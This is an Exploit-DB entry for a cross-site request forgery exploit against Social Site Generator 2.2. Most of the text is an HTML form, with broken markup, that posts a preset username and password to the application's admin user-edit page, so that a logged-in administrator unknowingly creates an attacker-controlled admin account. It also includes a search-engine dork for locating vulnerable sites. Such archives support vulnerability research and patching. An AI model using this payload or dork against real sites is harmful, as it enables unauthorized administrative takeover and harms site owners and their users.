Social Site Generator 2.2 - Cross-Site Request Forgery (Add Admin)

EDB-ID:

25245

CVE:

N/A

EDB Verified:

Author:

Fallaga

Type:

webapps

Exploit: /

Platform:

PHP

Date:

2013-05-06

Vulnerable App:

# Exploit Title: social generator Remote Add Admin Exploit
# Date: 02/05/2013
# Author: Fallaga
#Script url:www.socialsitegeneratorscript.com
# Version: 2.2
# Tested on: Windows
# CVE : ()
# Dork: inurl:my_profile.php?user_id=MTM=
##################################################################################


<html>
<form method="post" action="
http://server/admin/edit_admin_user.php?eventid=10

                                    <td width="17%" align="left" nowrap
class="text"><strong>Username:</strong></td>
                                    <td width="83%"><table border="0"
cellspacing="0" cellpadding="2">
                                        <tr>
                                          <td nowrap align="left"><input
name="txt_username" type="text" value="JaMbA"/></td>
                                        </tr>
                                      </table></td>

                                  </tr>
  <tr>
                                    <td nowrap class="text"
align="left"><strong>Password:</strong></td>
                                    <td><table border="0" cellspacing="0"
cellpadding="2">
                                        <tr>
  <td nowrap align="left" class="text"><input name="txt_password"
type="password" value="abdotv"/></td>
                                        </tr>
                                      </table></td>

                                  </tr>
                                   <tr>
                                    <td nowrap class="text"
align="left"><strong>Confirm Password:</strong></td>
                                    <td><table border="0" cellspacing="0"
cellpadding="2">
                                        <tr>
  <td nowrap align="left" class="text"><input name="txt_cpassword"
type="password" value="abdotv"/></td>
                                        </tr>
                                      </table></td>

                                  </tr>

                                  <tr>

                                    <td></td>
                                  </tr>

                                  <tr>






                                  </tr>
                                  <tr>

                                    <td></td>
                                  </tr>

                                  <tr>

            </tr>

                                  <tr>


                                  </tr>

                                  <tr>
                                    <td valign="top"> </td>
                                    <td><table  border="0" cellspacing="0"
cellpadding="2">
                                        <tr>

                                          <td width="165" align="center">
                                          <input type="submit"
value="Submit" name="btn_submit" >
 </td>
                                          <td width="6"> </td>
                                        </tr>
                                      </table></td>
                                  </tr>
                                </table></td>
                            </tr>

                          </table></td>
                      </tr>
                    </table></td>
                </tr>
              </table>
            </form></td>
        </tr>
      </table></td>
  </tr>

  <tr>
    <td><table width="100%" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td width="3%" align="left" background="images/layoutadmin_109.jpg"
style="background-repeat:repeat-x" ><img src="images/layoutadmin_108.jpg"
width="33" height="20" alt="" /></td>
        <td   background="images/layoutadmin_109.jpg"> </td>
        <td width="3%" align="right"
background="images/layoutadmin_109.jpg" style="background-repeat:repeat-x"
><img src="images/layoutadmin_111.jpg" width="33"  height="20" alt=""/></td>
      </tr>
</table></td>
  </tr>

</table>
</body>
</html>
++++++++++++++++++++++++++++++++++++++++++++++++++++++
Greetz: FaLLAGa Gov TN

Tags:

Advisory/Source: Link

Databases	Links	Sites	Solutions
Exploits	Search Exploit-DB	OffSec	Courses and Certifications
Google Hacking	Submit Entry	Kali Linux	Learn Subscriptions
Papers	SearchSploit Manual	VulnHub	OffSec Cyber Range
Shellcodes	Exploit Statistics		Proving Grounds
			Penetration Testing Services